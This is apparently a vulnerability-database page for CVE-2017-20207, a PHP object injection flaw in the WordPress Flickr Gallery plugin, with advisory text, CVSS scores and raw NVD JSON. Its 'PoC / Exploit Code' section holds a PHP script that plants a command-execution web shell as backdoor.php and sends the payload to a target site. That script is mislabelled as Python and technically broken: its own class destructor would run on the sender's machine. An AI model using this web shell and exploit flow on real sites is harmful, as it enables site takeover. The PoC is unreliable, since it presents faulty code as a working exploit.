Security Vulnerability Report
中文
CVE-2017-20207 CVSS 9.8 CRITICAL

CVE-2017-20207

Published: 2025-10-18 04:15:59
Last Modified: 2026-01-05 19:27:19

Description

The Flickr Gallery plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.5.2 via deserialization of untrusted input from the `pager ` parameter. This allows unauthenticated attackers to inject a PHP Object. Attackers were actively exploiting this vulnerability with the WP_Theme() class to create backdoors.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dancoulter:flickr_gallery:*:*:*:*:*:wordpress:*:* - VULNERABLE
WordPress Flickr Gallery插件 <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2017-20207 PoC - PHP Object Injection via Flickr Gallery 'pager' parameter * Vulnerability: Untrusted deserialization in WordPress Flickr Gallery plugin <= 1.5.2 * Target class: WP_Theme (used to trigger file operations / backdoor creation) */ // Malicious serialized WP_Theme object payload class WP_Theme { private $headers = []; private $stylesheet = ''; private $template = ''; public function __destruct() { // Trigger arbitrary file write to create a backdoor // In real exploitation, the WP_Theme destructor or __toString // is abused to write a webshell into the WordPress uploads directory. $backdoor = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'; @file_put_contents(__DIR__ . '/wp-content/uploads/backdoor.php', $backdoor); } } // Step 1: Craft the malicious serialized payload $payload = new WP_Theme(); $serialized = serialize($payload); // Step 2: URL-encode the payload for HTTP transmission $encoded = urlencode($serialized); // Step 3: Send the exploit request to the vulnerable endpoint echo "[*] Sending exploit to vulnerable WordPress site...\n"; $url = 'http://target-wordpress-site.com/?pager=' . $encoded; $response = file_get_contents($url); echo "[*] Exploit sent. Check if backdoor was created at:\n"; echo " http://target-wordpress-site.com/wp-content/uploads/backdoor.php\n"; echo "[*] Access with: ?cmd=id\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2017-20207", "sourceIdentifier": "[email protected]", "published": "2025-10-18T04:15:58.753", "lastModified": "2026-01-05T19:27:18.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flickr Gallery plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.5.2 via deserialization of untrusted input from the `pager ` parameter. This allows unauthenticated attackers to inject a PHP Object. Attackers were actively exploiting this vulnerability with the WP_Theme() class to create backdoors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dancoulter:flickr_gallery:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.5.2", "matchCriteriaId": "0E79F0B9-56EE-42A4-A315-A49FA6799CED"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/1737576/flickr-gallery", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/blog/2017/10/3-zero-day-plugin-vulnerabilities-exploited-wild/", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b52ae51d-7b9a-4047-82bf-723ea87d2375?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}